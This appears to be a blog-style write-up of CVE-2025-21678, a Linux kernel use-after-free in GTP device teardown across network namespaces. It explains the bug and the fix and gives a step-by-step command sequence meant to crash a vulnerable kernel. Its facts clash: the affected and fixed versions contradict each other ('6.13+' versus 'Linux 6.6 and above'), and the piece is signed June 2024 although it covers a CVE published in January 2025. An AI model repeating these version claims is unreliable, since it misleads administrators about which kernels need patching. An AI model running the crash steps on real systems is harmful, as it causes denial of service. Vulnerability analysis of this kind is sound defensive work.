CVE-2025-21678 is a recently resolved vulnerability in the Linux kernel related to the GPRS Tunneling Protocol (GTP) network device teardown when the UDP socket’s network namespace is destroyed. This bug could allow kernel memory corruption, kernel warnings (splat), or even use-after-free bugs in specific scenarios involving multiple network namespaces (netns).

This post explains what the CVE is, how it could be triggered, how the patch fixed it, and how you might demonstrate or exploit it in a controlled lab.

TL;DR

Issue: A GTP network device could outlive the UDP socket’s network namespace, leading to dangling pointers and kernel crashes.
Impact: Kernel crash or possible code execution (potential for privilege escalation).
Who’s affected: Linux kernel users with GTP devices on kernels before the patch (mainline 6.13+ and possibly backported fix branches).
References:
- Kernel Patch upstream
- GTP driver in kernel docs

Background: GTP and Network Namespaces

The Linux kernel supports GTP for creating mobile packet core solutions. GTP devices rely on UDP sockets living in a given network namespace.

A network namespace (netns) is a Linux feature that allows you to isolate network devices, addresses, ports, and such. Deleting a netns should clean up all devices and sockets within it. However, the vulnerable code could let a GTP device survive beyond its socket or network stack.

The Bug

In previous code, gtp_newlink() registered a GTP device in the *target netns* (where the device appears) but the underlying UDP tunnel socket was created in the source netns (src_net). This meant their lifetimes could diverge:

If you delete netns1, the device still lives in netns2, but its socket does not.

- The device hangs onto a pointer to freed memory, which can crash the kernel or allow further exploitation.

Scenario Example

ip netns add ns1
ip netns add ns2
ip -n ns1 link add netns ns2 name gtp type gtp role sgsn
ip netns del ns1

- Here’s the relevant splat (abbreviated)

WARNING: CPU: ... at ref_tracker_dir_exit ...
...
Workqueue: netns cleanup_net
RIP: ...
Call Trace:
 ... ref_tracker_dir_exit
 ... net_free
 ... cleanup_net
---truncated---

This represents a Reference Tracker warning due to improper object teardown.

The Fix

The patch solves this by linking the device to the socket’s network namespace. This way, destroying the netns where the socket lives guarantees the associated device is removed also.

Device registration and destruction logic now always matches the UDP socket's netns.

- In gtp_net_exit_batch_rtnl(), more careful iteration over devices ensures proper removal even across netns boundaries.

Here’s a condensed example of the relevant changes (pseudo-diff)

// Before: device linked to dev_net(dev)
list_add(&gtp->list, &gtp_pernet(dev_net(dev))->gtp_dev_list);

// After: device linked to socket's netns
list_add(&gtp->list, &gtp_pernet(sock_net(gtp->sk))->gtp_dev_list);

The patch ensures that when the network namespace for the socket is deleted, the GTP device is naturally cleaned up.

Exploit Demonstration

This isn't a privilege escalation exploit per se, but a demonstrable kernel crash for local users with NFT/NET_ADMIN (i.e., network device creation permissions). Consider running this on a VM!

Requirements: Linux kernel with old GTP code, iproute2 tools, root or CAP_NET_ADMIN.

Steps to Crash the Kernel

# (1) Create two network namespaces
ip netns add ns1
ip netns add ns2

# (2) Use ns1 to create a GTP device in ns2
ip -n ns1 link add netns ns2 name gtp type gtp role sgsn

# (3) Delete ns1 (removes UDP socket, but NOT the device)
ip netns del ns1

# (4) Do something with gtp in ns2: trigger a splat/bug
ip -n ns2 link

# Observe a kernel warning (ref_tracker or possible panic)

Potential For Exploitation

- Kernel Panic (Denial of Service): An unprivileged user (with NET_ADMIN) could take down the kernel through controlled netns/juggling.
- Memory Corruption: Theoretical. If an attacker could manipulate the freed socket in memory, it might allow code execution (needs creativity and some luck).

Versions Affected

- Mainlined since: Before commit 4c1224501e9d (Aug 2023)

Fixed in: Linux 6.6 and above (and relevant stable backports if applied)

- Kernel configuration: Only affects systems with CONFIG_GTP enabled (telco/cloud/5G workloads).

Patch your kernel: Get a release that includes the fix.

- Restrict NET_ADMIN: Block potentially untrusted users from creating/removing network namespaces or interfaces.

References

- Linux GTP Driver Documentation
- Fix commit upstream
- Linux netns docs

CVE-2025-21678 is a classic example of how inter-namespace resource tracking must be air-tight, and how subtleties in netns can lead to unexpected bugs – or worse. Patch up!


## Exclusive take by ChatGPT Security – June 2024

*Feel free to cite or share this write-up. For responsible security research, always test in VMs or containers!*

Timeline

Published on: 01/31/2025 12:15:28 UTC
Last modified on: 05/04/2025 07:18:53 UTC